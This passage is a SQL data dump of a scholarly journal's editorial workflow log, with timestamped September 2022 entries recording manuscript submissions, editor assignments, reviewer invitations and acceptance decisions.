15:08:32','Publisher has Invited Reviewer',13020,'Publisher',988),(121029,'2022-09-02 15:08:36','Publisher has Invited Reviewer',13020,'Publisher',988),(121030,'2022-09-02 15:08:41','Publisher has Invited Reviewer',13020,'Publisher',988),(121031,'2022-09-02 15:08:46','Publisher has Invited Reviewer',13020,'Publisher',988),(121032,'2022-09-02 15:40:44','Manuscript Updated',13014,'Publisher',84),(121033,'2022-09-02 15:41:35','Publisher has been Accepted Articles  article',13016,'Publisher',84),(121034,'2022-09-02 15:45:11','Publisher has been Accepted Articles  article',13014,'Publisher',84),(121035,'2022-09-02 17:16:12','Manuscript Updated',12979,'Publisher',1009),(121036,'2022-09-02 17:18:11','Publisher has been Accepted Articles  article',12979,'Publisher',1009),(121037,'2022-09-03 09:51:50','Manuscript Submitted by Author using Submission form',13027,'Author',13224),(121038,'2022-09-03 10:15:11','Manuscript Submitted by Author using Submission form',13028,'Author',13225),(121039,'2022-09-03 10:31:04','Publisher has been Assigned Editor',13022,'Publisher',376),(121040,'2022-09-03 10:32:03','Editor has Accepted to review Manuscript',13022,'Editor',1452),(121041,'2022-09-03 10:32:25','Editor has been Editor Decision Accepted article',13022,'Editor',1452),(121042,'2022-09-03 10:33:27','Manuscript Updated',13022,'Publisher',376),(121043,'2022-09-03 10:33:51','Publisher has been Accepted Articles  article',13022,'Publisher',376),(121044,'2022-09-03 10:34:33','Publisher has Invited Reviewer',12932,'Publisher',376),(121045,'2022-09-03 10:34:38','Publisher has Invited Reviewer',12932,'Publisher',376),(121046,'2022-09-03 10:34:43','Publisher has Invited Reviewer',12932,'Publisher',376),(121047,'2022-09-03 10:34:47','Publisher has Invited Reviewer',12932,'Publisher',376),(121048,'2022-09-03 10:34:52','Publisher has Invited Reviewer',12932,'Publisher',376),(121049,'2022-09-03 10:34:57','Publisher has Invited Reviewer',12932,'Publisher',376),(121050,'2022-09-03 10:58:02','Manuscript Submitted by Author using Submission form',13030,'Author',13227),(121051,'2022-09-03 11:03:59','Manuscript Submitted by Author using Submission form',13031,'Author',13228),(121052,'2022-09-03 11:18:10','Publisher has been Assigned Editor',13019,'Publisher',988),(121053,'2022-09-03 11:18:26','Publisher has been Assigned Editor',13021,'Publisher',988),(121054,'2022-09-03 11:19:40','Publisher has Invited Reviewer',13021,'Publisher',988),(121055,'2022-09-03 11:19:45','Publisher has Invited Reviewer',13021,'Publisher',988),(121056,'2022-09-03 11:19:49','Publisher has Invited Reviewer',13021,'Publisher',988),(121057,'2022-09-03 11:19:54','Publisher has Invited Reviewer',13021,'Publisher',988),(121058,'2022-09-03 11:19:59','Publisher has Invited Reviewer',13021,'Publisher',988),(121059,'2022-09-03 11:20:29','Publisher has Invited Reviewer',13021,'Publisher',988),(121060,'2022-09-03 11:20:33','Publisher has Invited Reviewer',13021,'Publisher',988),(121061,'2022-09-03 11:20:38','Publisher has Invited Reviewer',13021,'Publisher',988),(121062,'2022-09-03 11:21:38','Manuscript Submitted by Author using Submission form',13032,'Author',13229),(121063,'2022-09-03 11:34:17','Manuscript Submitted by Author using Submission form',13033,'Author',13230),(121064,'2022-09-03 11:35:54','Manuscript Submitted by Author using Submission form',13034,'Author',13231),(121065,'2022-09-03 12:00:27','Manuscript Submitted by Author using Submission form',13035,'Author',13232),(121066,'2022-09-05 09:14:11','Publisher has Invited Reviewer',13019,'Publisher',988),(121067,'2022-09-05 09:14:16','Publisher has Invited Reviewer',13019,'Publisher',988),(121068,'2022-09-05 09:14:21','Publisher has Invited Reviewer',13019,'Publisher',988),(121069,'2022-09-05 09:14:25','Publisher has Invited Reviewer',13019,'Publisher',988),(121070,'2022-09-05 09:14:30','Publisher has Invited Reviewer',13019,'Publisher',988),(121071,'2022-09-05 09:14:35','Publisher has Invited Reviewer',13019,'Publisher',988),(121072,'2022-09-05 09:14:40','Publisher has Invited Reviewer',13019,'Publisher',988),(121073,'2022-09-05 09:14:44','Publisher has Invited Reviewer',13019,'Publisher',988),(121074,'2022-09-05 09:14:49','Publisher has Invited Reviewer',13019,'Publisher',988),(121075,'2022-09-05 09:33:49','Manuscript Updated',12973,'Publisher',645),(121076,'2022-09-05 09:34:14','Publisher has been Accepted Articles  article',12973,'Publisher',645),(121077,'2022-09-05 09:34:18','Publisher has been Accepted Articles  article',12973,'Publisher',645),(121078,'2022-09-05 09:55:37','Reviewer has submitted comments',13000,'Reviewer',21476),(121079,'2022-09-05 10:22:04','Publisher : Notified Editor',13000,'Publisher',988),(121080,'2022-09-05 10:22:26','Editor has Accepted to review Manuscript',13000,'Editor',1783),(121081,'2022-09-05 10:22:49','Editor has been Editor Decision Accepted article',13000,'Editor',1783),(121082,'2022-09-05 10:24:42','Publisher: Accept Notification has been sent to Author',13000,'Publisher',988),(121083,'2022-09-05 10:58:05','Manuscript Updated',12974,'Publisher',645),(121084,'2022-09-05 10:58:28','Publisher has been Accepted Articles  article',12974,'Publisher',645),(121085,'2022-09-05 11:23:06','Manuscript Updated',12978,'Publisher',645),(121086,'2022-09-05 11:29:59','Publisher has been Accepted Articles  article',12978,'Publisher',645),(121087,'2022-09-05 13:41:13','Manuscript Updated',12972,'Publisher',1009),(121088,'2022-09-05 13:41:39','Publisher has been Accepted Articles  article',12972,'Publisher',1009),(121089,'2022-09-05 16:20:33','Manuscript Submitted by Author using Submission form',13038,'Author',13235),(121090,'2022-09-06 12:06:36','Publisher has Invited Reviewer',13008,'Publisher',75),(121091,'2022-09-06 12:06:41','Publisher has Invited Reviewer',13008,'Publisher',75),(121092,'2022-09-06 12:06:46','Publisher has Invited Reviewer',13008,'Publisher',75),(121093,'2022-09-06 12:06:51','Publisher has Invited Reviewer',13008,'Publisher',75),(121094,'2022-09-06 12:07:19','Publisher has Invited Reviewer',13008,'Publisher',75),(121095,'2022-09-06 12:07:24','Publisher has Invited Reviewer',13008,'Publisher',75),(121096,'2022-09-06 12:07:28','Publisher has Invited Reviewer',13008,'Publisher',75),(121097,'2022-09-06 12:07:33','Publisher has Invited Reviewer',13008,'Publisher',75),(121098,'2022-09-06 12:07:38','Publisher has Invited Reviewer',13008,'Publisher',75),(121099,'2022-09-06 12:09:07','Publisher has Invited Reviewer',12861,'Publisher',75),(121100,'2022-09-06 12:09:12','Publisher has Invited Reviewer',12861,'Publisher',75),(121101,'2022-09-06 12:09:17','Publisher has Invited Reviewer',12861,'Publisher',75),(121102,'2022-09-06 12:54:19','Manuscript Submitted by Author using Submission form',13039,'Author',13236),(121103,'2022-09-06 13:45:44','Manuscript Submitted by Publisher',13040,'Publisher',48),(121104,'2022-09-06 17:33:40','Manuscript Submitted by Author using Submission form',13041,'Author',13238),(121105,'2022-09-06 17:38:59','Manuscript Submitted by Author using Submission form',13042,'Author',13239),(121106,'2022-09-06 17:42:50','Manuscript Submitted by Author using Submission form',13043,'Author',13240),(121107,'2022-09-06 17:46:18','Manuscript Submitted by Author using Submission form',13044,'Author',13241),(121108,'2022-09-06 17:49:57','Manuscript Submitted by Author using Submission form',13045,'Author',13242),(121109,'2022-09-07 09:30:52','Publisher has been Assigned Editor',13035,'Publisher',1009),(121110,'2022-09-07 09:35:19','Publisher has been Assigned Editor',13034,'Publisher',248),(121111,'2022-09-07 09:35:40','Publisher has been Assigned Editor',13032,'Publisher',248),(121112,'2022-09-07 09:42:02','Publisher has been Assigned Editor',13027,'Publisher',319),(121113,'2022-09-07 09:42:33','Publisher has been Assigned Editor',0,'Publisher',319),(121114,'2022-09-07 09:42:48','Publisher has been Assigned Editor',13029,'Publisher',319),(121115,'2022-09-07 09:42:59','Publisher has been Assigned Editor',13031,'Publisher',319),(121116,'2022-09-07 10:57:23','Publisher has been Assigned Editor',13033,'Publisher',972),(121117,'2022-09-07 10:57:41','Publisher has been Assigned Editor',13030,'Publisher',972),(121118,'2022-09-07 10:57:56','Publisher has been Assigned Editor',13028,'Publisher',972),(121119,'2022-09-07 10:58:12','Publisher has been Assigned Editor',13017,'Publisher',972),(121120,'2022-09-07 10:58:28','Publisher has been Assigned Editor',13015,'Publisher',972),(121121,'2022-09-07 10:59:23','Publisher has Invited Reviewer',13033,'Publisher',972),(121122,'2022-09-07 10:59:27','Publisher has Invited Reviewer',13033,'Publisher',972),(121123,'2022-09-07 10:59:32','Publisher has Invited Reviewer',13033,'Publisher',972),(121124,'2022-09-07 11:00:25','Publisher has Invited Reviewer',13030,'Publisher',972),(121125,'2022-09-07 11:00:31','Publisher has Invited Reviewer',13030,'Publisher',972),(121126,'2022-09-07 11:00:38','Publisher has Invited Reviewer',13030,'Publisher',972),(121127,'2022-09-07 11:01:23','Publisher has Invited Reviewer',13028,'Publisher',972),(121128,'2022-09-07 11:01:29','Publisher has Invited Reviewer',13028,'Publisher',972),(121129,'2022-09-07 11:01:34','Publisher has Invited Reviewer',13028,'Publisher',972),(121130,'2022-09-07 11:02:06','Publisher has Invited Reviewer',13017,'Publisher',972),(121131,'2022-09-07 11:02:11','Publisher has Invited Reviewer',13017,'Publisher',972),(121132,'2022-09-07 11:02:16','Publisher has Invited Reviewer',13017,'Publisher',972),(121133,'2022-09-07 11:02:48','Publisher has Invited Reviewer',13015,'Publisher',972),(121134,'2022-09-07 11:02:52','Publisher has Invited Reviewer',13015,'Publisher',972),(121135,'2022-09-07 11:02:57','Publisher has Invited Reviewer',13015,'Publisher',972),(121136,'2022-09-07 11:46:05','Manuscript Updated',13035,'Publisher',1009),(121137,'2022-09-07 11:46:35','Publisher has been Accepted Articles  article',13035,'Publisher',1009),(121138,'2022-09-07 15:13:05','Manuscript Updated',12925,'Publisher',248),(121139,'2022-09-07 15:13:35','Publisher has been Accepted Articles  article',12925,'Publisher',248),(121140,'2022-09-07 17:28:48','Editor has Accepted to review Manuscript',13037,'Editor',1668),(121141,'2022-09-07 17:29:25','Editor has been Editor Decision Accepted article',13037,'Editor',1668),(121142,'2022-09-07 17:31:22','Editor has been Editor Decision Accepted article',10452,'Editor',1668),(121143,'2022-09-07 17:33:05','Publisher has been Accepted Articles  article',10452,'Publisher',274),(121144,'2022-09-07 17:38:25','Editor has Accepted to review Manuscript',12853,'Editor',1666),(121145,'2022-09-07 17:39:47','Editor has been Editor Decision Accepted article',12853,'Editor',1666),(121146,'2022-09-07 17:42:44','Publisher has been Accepted Articles  article',12853,'Publisher',274),(121147,'2022-09-07 17:42:55','Publisher has been Accepted Articles  article',12853,'Publisher',274),(121148,'2022-09-07 17:44:10','Manuscript Updated',12988,'Publisher',248),(121149,'2022-09-07 17:44:33','Editor has Accepted to review Manuscript',12863,'Editor',1664),(121150,'2022-09-07 17:44:35','Publisher has been Accepted Articles  article',12988,'Publisher',248),(121151,'2022-09-07 17:45:10','Editor has been Editor Decision Accepted article',12863,'Editor',1664),(121152,'2022-09-07 17:46:47','Publisher has been Accepted Articles  article',12863,'Publisher',274),(121153,'2022-09-07 18:08:34','Editor has been Editor Decision Accepted article',10366,'Editor',1669),(121154,'2022-09-07 18:08:35','Manuscript Submitted by Author using Submission form',13047,'Author',13244),(121155,'2022-09-07 23:15:27','Editor has Accepted to review Manuscript',13029,'Editor',1068),(121156,'2022-09-07 23:19:06','Editor has been Editor Decision Rejected article',13029,'Editor',1068),(121157,'2022-09-07 23:20:41','Editor has Accepted to review Manuscript',12995,'Editor',1068),(121158,'2022-09-08 00:44:23','Editor has been Editor Decision Rejected article',12995,'Editor',1068),(121159,'2022-09-08 09:24:45','Publisher has been Assigned Editor',13038,'Publisher',988),(121160,'2022-09-08 09:25:20','Publisher has Invited Reviewer',13038,'Publisher',988),(121161,'2022-09-08 09:25:25','Publisher has Invited Reviewer',13038,'Publisher',988),(121162,'2022-09-08 09:25:29','Publisher has Invited Reviewer',13038,'Publisher',988),(121163,'2022-09-08 09:25:34','Publisher has Invited Reviewer',13038,'Publisher',988),(121164,'2022-09-08 09:25:39','Publisher has Invited Reviewer',13038,'Publisher',988),(121165,'2022-09-08 09:25:44','Publisher has Invited Reviewer',13038,'Publisher',988),(121166,'2022-09-08 09:25:49','Publisher has Invited Reviewer',13038,'Publisher',988),(121167,'2022-09-08 09:25:53','Publisher has Invited Reviewer',13038,'Publisher',988),(121168,'2022-09-08 09:25:58','Publisher has Invited Reviewer',13038,'Publisher',988),(121169,'2022-09-08 09:26:03','Publisher has Invited Reviewer',13038,'Publisher',988),(121170,'2022-09-08 09:26:07','Publisher has Invited Reviewer',13038,'Publisher',988),(121171,'2022-09-08 09:26:12','Publisher has Invited Reviewer',13038,'Publisher',988),(121172,'2022-09-08 09:26:17','Publisher has Invited Reviewer',13038,'Publisher',988),(121173,'2022-09-08 09:26:58','Manuscript Updated',13034,'Publisher',248),(121174,'2022-09-08 09:27:11','Publisher has been Accepted Articles  article',13034,'Publisher',248),(121175,'2022-09-08 10:28:30','Manuscript Updated',13032,'Publisher',248),(121176,'2022-09-08 10:28:50','Publisher has been Accepted Articles  article',13032,'Publisher',248),(121177,'2022-09-08 11:50:28','Manuscript Updated',12983,'Publisher',248),(121178,'2022-09-08 11:50:47','Publisher has been Accepted Articles  article',12983,'Publisher',248),(121179,'2022-09-08 13:28:53','Editor has Accepted to review Manuscript',12939,'Editor',1782),(121180,'2022-09-08 13:28:59','Editor has Accepted to review Manuscript',12873,'Editor',1782),(121181,'2022-09-08 13:29:05','Editor has Accepted to review Manuscript',12871,'Editor',1782),(121182,'2022-09-08 13:29:20','Editor has been Editor Decision Accepted article',12939,'Editor',1782),(121183,'2022-09-08 13:29:35','Editor has been Editor Decision Accepted article',12873,'Editor',1782),(121184,'2022-09-08 13:29:50','Editor has been Editor Decision Accepted article',12871,'Editor',1782),(121185,'2022-09-08 13:31:31','Editor has Accepted to review Manuscript',12940,'Editor',1654),(121186,'2022-09-08 13:32:31','Editor has been Editor Decision Accepted article',12940,'Editor',1654),(121187,'2022-09-08 13:33:40','Publisher has been Accepted Articles  article',12940,'Publisher',984),(121188,'2022-09-08 13:36:54','Publisher has been Accepted Articles  article',12939,'Publisher',984),(121189,'2022-09-08 13:48:12','Publisher has been Accepted Articles  article',12873,'Publisher',984),(121190,'2022-09-08 14:14:47','Manuscript Updated',13027,'Publisher',319),(121191,'2022-09-08 14:15:02','Publisher has been Accepted Articles  article',13027,'Publisher',319),(121192,'2022-09-08 14:48:29','Publisher : Notified Editor',12797,'Publisher',984),(121193,'2022-09-08 15:10:50','Publisher has been Assigned Editor',13047,'Publisher',972),(121194,'2022-09-08 15:12:01','Publisher has Invited Reviewer',13047,'Publisher',972),(121195,'2022-09-08 15:12:06','Publisher has Invited Reviewer',13047,'Publisher',972),(121196,'2022-09-08 15:12:11','Publisher has Invited Reviewer',13047,'Publisher',972),(121197,'2022-09-08 15:28:23','Editor has Accepted to review Manuscript',13047,'Editor',1786),(121198,'2022-09-08 15:28:38','Editor has been Editor Decision Accepted article',13047,'Editor',1786),(121199,'2022-09-08 15:56:29','Manuscript Updated',13029,'Publisher',319),(121200,'2022-09-08 15:56:43','Publisher has been Accepted Articles  article',13029,'Publisher',319),(121201,'2022-09-08 16:49:46','Manuscript Submitted by Author using Submission form',13048,'Author',13246),(121202,'2022-09-08 16:56:50','Manuscript Submitted by Author using Submission form',13049,'Author',13247),(121203,'2022-09-08 16:57:55','Manuscript Submitted by Author using Submission form',13050,'Author',13248),(121204,'2022-09-08 19:58:15','Manuscript Submitted by Author using Submission form',13052,'Author',13249),(121205,'2022-09-09 09:04:53','Publisher has been Withdrawn  article',12926,'Publisher',988),(121206,'2022-09-09 09:43:00','Publisher has been Assigned Editor',13040,'Publisher',48),(121207,'2022-09-09 10:10:45','Manuscript Updated',13031,'Publisher',319),(121208,'2022-09-09 10:11:10','Publisher has been Accepted Articles  article',13031,'Publisher',319),(121209,'2022-09-09 11:54:36','Manuscript Submitted by Author using Submission form',13053,'Author',13250),(121210,'2022-09-09 13:15:28','Publisher has been Assigned Editor',13051,'',1205),(121211,'2022-09-09 14:04:47','Manuscript Submitted by Author using Submission form',13054,'Author',13251),(121212,'2022-09-09 14:46:42','Manuscript Submitted by Author using Submission form',13055,'Author',13252),(121213,'2022-09-09 15:09:12','Manuscript Submitted by Author using Submission form',13056,'Author',13253),(121214,'2022-09-09 17:15:52','Manuscript Updated',13040,'Publisher',48),(121215,'2022-09-09 17:37:14','Manuscript Submitted by Author using Submission form',13057,'Author',13254),(121216,'2022-09-10 00:56:41','Author sent Email',13013,'Author',13213),(121217,'2022-09-12 10:42:34','Manuscript Submitted by Author using Submission form',13058,'Author',13255),(121218,'2022-09-12 10:43:39','Manuscript Submitted by Author using Submission form',13059,'Author',13256),(121219,'2022-09-12 11:08:15','Manuscript Submitted by Author using Submission form',13060,'Author',13257),(121220,'2022-09-12 12:23:23','Editor has Accepted to review Manuscript',13033,'Editor',1786),(121221,'2022-09-12 12:23:41','Editor has been Editor Decision Accepted article',13033,'Editor',1786),(121222,'2022-09-12 12:24:40','Editor has Accepted to review Manuscript',13030,'Editor',1785),(121223,'2022-09-12 12:24:56','Editor has been Editor Decision Accepted article',13030,'Editor',1785),(121224,'2022-09-12 12:25:50','Editor has Accepted to review Manuscript',13028,'Editor',1784),(121225,'2022-09-12 12:26:04','Editor has been Editor Decision Accepted article',13028,'Editor',1784),(121226,'2022-09-12 12:28:34','Editor has Accepted to review Manuscript',13015,'Editor',1324),(121227,'2022-09-12 12:28:46','Editor has been Editor Decision Accepted article',13015,'Editor',1324),(121228,'2022-09-12 12:29:43','Editor has Accepted to review Manuscript',13017,'Editor',1367),(121229,'2022-09-12 12:29:56','Editor has been Editor Decision Accepted article',13017,'Editor',1367),(121230,'2022-09-12 13:05:39','Manuscript Updated',13033,'Publisher',972),(121231,'2022-09-12 13:06:10','Manuscript Updated',13030,'Publisher',972),(121232,'2022-09-12 13:06:27','Manuscript Updated',13028,'Publisher',972),(121233,'2022-09-12 13:06:47','Manuscript Updated',13028,'Publisher',972),(121234,'2022-09-12 13:07:08','Manuscript Updated',13017,'Publisher',972),(121235,'2022-09-12 13:07:33','Manuscript Updated',13015,'Publisher',972),(121236,'2022-09-12 13:08:09','Publisher has been Accepted Articles  article',13033,'Publisher',972),(121237,'2022-09-12 13:08:38','Publisher has been Accepted Articles  article',13030,'Publisher',972),(121238,'2022-09-12 13:09:09','Publisher has been Accepted Articles  article',13028,'Publisher',972),(121239,'2022-09-12 13:09:36','Publisher has been Accepted Articles  article',13015,'Publisher',972),(121240,'2022-09-12 13:10:01','Publisher has been Accepted Articles  article',13017,'Publisher',972),(121241,'2022-09-12 13:16:01','Reviewer has submitted comments',12924,'Reviewer',20788),(121242,'2022-09-12 13:17:26','Reviewer has submitted comments',12987,'Reviewer',20788),(121243,'2022-09-12 13:33:22','Editor has Accepted to review Manuscript',12924,'Editor',1779),(121244,'2022-09-12 13:33:28','Editor has Accepted to review Manuscript',12987,'Editor',1779),(121245,'2022-09-12 13:33:40','Editor has been Editor Decision Accepted article',12924,'Editor',1779),(121246,'2022-09-12 13:33:50','Editor has been Editor Decision Accepted article',12987,'Editor',1779),(121247,'2022-09-12 13:34:44','Publisher : Notified Editor',13000,'Publisher',988),(121248,'2022-09-12 13:35:05','Publisher: Accept Notification has been sent to Author',13000,'Publisher',988),(121249,'2022-09-12 13:35:26','Publisher : Notified Editor',12987,'Publisher',988),(121250,'2022-09-12 13:36:00','Publisher: Accept Notification has been sent to Author',12987,'Publisher',988),(121251,'2022-09-12 17:02:01','Publisher has been Assigned Editor',13053,'Publisher',645),(121252,'2022-09-12 17:26:06','Editor has Accepted to review Manuscript',13046,'Editor',222),(121253,'2022-09-12 17:26:18','Editor has been Editor Decision Accepted article',13046,'Editor',222),(121254,'2022-09-12 17:26:23','Editor has Accepted to review Manuscript',13036,'Editor',222),(121255,'2022-09-12 17:26:34','Editor has been Editor Decision Accepted article',13036,'Editor',222),(121256,'2022-09-12 17:26:40','Editor has Accepted to review Manuscript',13025,'Editor',222),(121257,'2022-09-12 17:26:51','Editor has been Editor Decision Accepted article',13025,'Editor',222),(121258,'2022-09-12 17:26:59','Editor has Accepted to review Manuscript',13024,'Editor',222),(121259,'2022-09-12 17:27:13','Editor has been Editor Decision Accepted article',13024,'Editor',222),(121260,'2022-09-12 17:27:19','Editor has Accepted to review Manuscript',13023,'Editor',222),(121261,'2022-09-12 17:27:19','Editor has Accepted to review Manuscript',13023,'Editor',222),(121262,'2022-09-12 17:27:38','Editor has been Editor Decision Accepted article',13023,'Editor',222),(121263,'2022-09-12 17:28:15','Editor has Accepted to review Manuscript',13026,'Editor',221),(121264,'2022-09-12 17:28:26','Editor has been Editor Decision Accepted article',13026,'Editor',221),(121265,'2022-09-12 17:29:05','Manuscript Updated',13046,'Publisher',84),(121266,'2022-09-12 17:29:29','Manuscript Updated',13046,'Publisher',84),(121267,'2022-09-12 17:29:58','Manuscript Updated',13036,'Publisher',84),(121268,'2022-09-12 17:30:15','Manuscript Updated',13046,'Publisher',84),(121269,'2022-09-12 17:30:38','Manuscript Updated',13026,'Publisher',84),(121270,'2022-09-12 17:30:54','Manuscript Updated',13025,'Publisher',84),(121271,'2022-09-12 17:31:15','Manuscript Updated',13024,'Publisher',84),(121272,'2022-09-12 17:31:29','Manuscript Updated',13023,'Publisher',84),(121273,'2022-09-12 17:55:33','Publisher has been Accepted Articles  article',13024,'Publisher',84),(121274,'2022-09-12 17:56:20','Publisher has been Accepted Articles  article',13026,'Publisher',84),(121275,'2022-09-12 17:57:28','Publisher has been Accepted Articles  article',13036,'Publisher',84),(121276,'2022-09-12 17:58:15','Publisher has been Accepted Articles  article',13025,'Publisher',84),(121277,'2022-09-12 17:58:17','Publisher has been Accepted Articles  article',13025,'Publisher',84),(121278,'2022-09-12 17:58:53','Publisher has been Accepted Articles  article',13023,'Publisher',84),(121279,'2022-09-13 09:41:17','Manuscript Submitted by Author using Submission form',13061,'Author',13259),(121280,'2022-09-13 10:03:02','Publisher has been Assigned Editor',13052,'Publisher',48),(121281,'2022-09-13 10:18:32','Publisher has Invited Reviewer',13052,'Publisher',48),(121282,'2022-09-13 10:18:38','Publisher has Invited Reviewer',13052,'Publisher',48),(121283,'2022-09-13 10:18:42','Publisher has Invited Reviewer',13052,'Publisher',48),(121284,'2022-09-13 10:18:47','Publisher has Invited Reviewer',13052,'Publisher',48),(121285,'2022-09-13 10:18:52','Publisher has Invited Reviewer',13052,'Publisher',48),(121286,'2022-09-13 10:18:57','Publisher has Invited Reviewer',13052,'Publisher',48),(121287,'2022-09-13 10:19:02','Publisher has Invited Reviewer',13052,'Publisher',48),(121288,'2022-09-13 10:19:04','Manuscript Updated',13053,'Publisher',645),(121289,'2022-09-13 10:19:19','Publisher has been Accepted Articles  article',13053,'Publisher',645),(121290,'2022-09-13 10:19:36','Publisher has Invited Reviewer',13040,'Publisher',48),(121291,'2022-09-13 10:19:41','Publisher has Invited Reviewer',13040,'Publisher',48),(121292,'2022-09-13 10:19:46','Publisher has Invited Reviewer',13040,'Publisher',48),(121293,'2022-09-13 10:19:50','Publisher has Invited Reviewer',13040,'Publisher',48),(121294,'2022-09-13 10:19:55','Publisher has Invited Reviewer',13040,'Publisher',48),(121295,'2022-09-13 10:20:48','Publisher has been Assigned Editor',13057,'Publisher',248),(121296,'2022-09-13 10:21:05','Publisher has been Assigned Editor',13054,'Publisher',248),(121297,'2022-09-13 11:11:38','Publisher has been Accepted Articles  article',12924,'Publisher',988),(121298,'2022-09-13 11:15:46','Publisher has been Accepted Articles  article',12987,'Publisher',988),(121299,'2022-09-13 11:22:44','Publisher has been Accepted Articles  article',13000,'Publisher',988),(121300,'2022-09-13 19:37:13','Author sent Email',13013,'Author',13213),(121301,'2022-09-13 21:34:41','Manuscript Submitted by Author using Submission form',13062,'Author',13260),(121302,'2022-09-14 04:01:44','Manuscript Submitted by Author using Submission form',13063,'Author',13261),(121303,'2022-09-14 09:30:05','Publisher has Invited Reviewer',13038,'Publisher',988),(121304,'2022-09-14 10:02:16','Manuscript Submitted by Author using Submission form',13064,'Author',13262),(121305,'2022-09-14 10:07:49','Publisher has been Accepted Articles  article',13036,'Publisher',84),(121306,'2022-09-14 10:08:30','Publisher has been Accepted Articles  article',13026,'Publisher',84),(121307,'2022-09-14 10:09:09','Publisher has been Accepted Articles  article',13025,'Publisher',84),(121308,'2022-09-14 10:09:50','Publisher has been Accepted Articles  article',13024,'Publisher',84),(121309,'2022-09-14 10:10:32','Publisher has been Accepted Articles  article',13023,'Publisher',84),(121310,'2022-09-14 13:50:50','Publisher has been Assigned Editor',13045,'Publisher',673),(121311,'2022-09-14 13:51:07','Publisher has been Assigned Editor',13044,'Publisher',673),(121312,'2022-09-14 13:51:22','Publisher has been Assigned Editor',13043,'Publisher',673),(121313,'2022-09-14 13:51:47','Publisher has been Assigned Editor',13042,'Publisher',673),(121314,'2022-09-14 13:52:19','Publisher has been Assigned Editor',13041,'Publisher',673),(121315,'2022-09-14 14:32:18','Manuscript Submitted by Author using Submission form',13065,'Author',13263),(121316,'2022-09-14 14:33:27','Publisher has been Accepted Articles  article',12725,'Publisher',85),(121317,'2022-09-14 16:43:29','Publisher has been Assigned Editor',13048,'Publisher',75),(121318,'2022-09-14 16:43:59','Publisher has been Assigned Editor',13049,'Publisher',75),(121319,'2022-09-14 21:38:53','Manuscript Submitted by Author using Submission form',13066,'Author',13264),(121320,'2022-09-15 08:56:17','Publisher has Invited Reviewer',13049,'Publisher',75),(121321,'2022-09-15 08:56:22','Publisher has Invited Reviewer',13049,'Publisher',75),(121322,'2022-09-15 08:56:26','Publisher has Invited Reviewer',13049,'Publisher',75),(121323,'2022-09-15 08:56:31','Publisher has Invited Reviewer',13049,'Publisher',75),(121324,'2022-09-15 08:56:36','Publisher has Invited Reviewer',13049,'Publisher',75),(121325,'2022-09-15 08:56:40','Publisher has Invited Reviewer',13049,'Publisher',75),(121326,'2022-09-15 08:56:45','Publisher has Invited Reviewer',13049,'Publisher',75),(121327,'2022-09-15 08:56:49','Publisher has Invited Reviewer',13049,'Publisher',75),(121328,'2022-09-15 08:56:54','Publisher has Invited Reviewer',13049,'Publisher',75),(121329,'2022-09-15 08:56:58','Publisher has Invited Reviewer',13049,'Publisher',75),(121330,'2022-09-15 08:58:46','Publisher has Invited Reviewer',13048,'Publisher',75),(121331,'2022-09-15 08:58:50','Publisher has Invited Reviewer',13048,'Publisher',75),(121332,'2022-09-15 08:58:55','Publisher has Invited Reviewer',13048,'Publisher',75),(121333,'2022-09-15 08:58:59','Publisher has Invited Reviewer',13048,'Publisher',75),(121334,'2022-09-15 08:59:04','Publisher has Invited Reviewer',13048,'Publisher',75),(121335,'2022-09-15 08:59:09','Publisher has Invited Reviewer',13048,'Publisher',75),(121336,'2022-09-15 08:59:13','Publisher has Invited Reviewer',13048,'Publisher',75),(121337,'2022-09-15 08:59:17','Publisher has Invited Reviewer',13048,'Publisher',75),(121338,'2022-09-15 08:59:22','Publisher has Invited Reviewer',13048,'Publisher',75),(121339,'2022-09-15 08:59:26','Publisher has Invited Reviewer',13048,'Publisher',75),(121340,'2022-09-15 11:15:10','Manuscript Updated',13057,'Publisher',248),(121341,'2022-09-15 11:15:25','Publisher has been Accepted Articles  article',13057,'Publisher',248),(121342,'2022-09-15 11:31:32','Publisher has been Assigned Editor',13059,'Publisher',988),(121343,'2022-09-15 11:38:41','Publisher has been Assigned Editor',13062,'Publisher',48),(121344,'2022-09-15 11:50:17','Publisher has Invited Reviewer',13059,'Publisher',988),(121345,'2022-09-15 11:50:34','Publisher has Invited Reviewer',13059,'Publisher',988),(121346,'2022-09-15 11:50:39','Publisher has Invited Reviewer',13059,'Publisher',988),(121347,'2022-09-15 11:50:43','Publisher has Invited Reviewer',13059,'Publisher',988),(121348,'2022-09-15 11:50:48','Publisher has Invited Reviewer',13059,'Publisher',988),(121349,'2022-09-15 11:50:52','Publisher has Invited Reviewer',13059,'Publisher',988),(121350,'2022-09-15 11:50:57','Publisher has Invited Reviewer',13059,'Publisher',988),(121351,'2022-09-15 11:51:01','Publisher has Invited Reviewer',13059,'Publisher',988),(121352,'2022-09-15 13:05:30','Publisher has been Assigned Editor',13061,'Publisher',645),(121353,'2022-09-15 13:54:50','Manuscript Updated',13061,'Publisher',645),(121354,'2022-09-15 13:55:08','Publisher has been Accepted Articles  article',13061,'Publisher',645),(121355,'2022-09-15 14:01:06','Reviewer has submitted comments',13038,'Reviewer',21476),(121356,'2022-09-15 14:01:12','Reviewer has submitted comments',13038,'Reviewer',21476),(121357,'2022-09-15 14:01:57','Publisher : Notified Editor',13038,'Publisher',988),(121358,'2022-09-15 14:03:05','Editor has Accepted to review Manuscript',13038,'Editor',1783),(121359,'2022-09-15 14:03:22','Editor has been Editor Decision Accepted article',13038,'Editor',1783),(121360,'2022-09-15 14:04:30','Publisher: Accept Notification has been sent to Author',13038,'Publisher',988),(121361,'2022-09-15 14:32:34','Manuscript Updated',13054,'Publisher',248),(121362,'2022-09-15 14:33:29','Publisher has been Accepted Articles  article',13054,'Publisher',248),(121363,'2022-09-16 07:48:11','Manuscript Submitted by Author using Submission form',13067,'Author',13265),(121364,'2022-09-16 13:44:05','Publisher has been Assigned Editor',13066,'Publisher',673),(121365,'2022-09-16 14:52:34','Manuscript Updated',12919,'Publisher',988),(121366,'2022-09-16 14:53:03','Manuscript Updated',12911,'Publisher',988),(121367,'2022-09-16 15:27:39','Publisher has been Assigned Editor',13060,'Publisher',319),(121368,'2022-09-16 15:28:37','Publisher has been Assigned Editor',13058,'Publisher',1009),(121369,'2022-09-16 16:42:31','Editor has Accepted to review Manuscript',13066,'Editor',1456),(121370,'2022-09-16 16:42:45','Editor has been Editor Decision Accepted article',13066,'Editor',1456),(121371,'2022-09-16 16:43:07','Editor has Invited Reviewer',13066,'Editor',1456),(121372,'2022-09-16 16:43:12','Editor has Invited Reviewer',13066,'Editor',1456),(121373,'2022-09-16 16:43:17','Editor has Invited 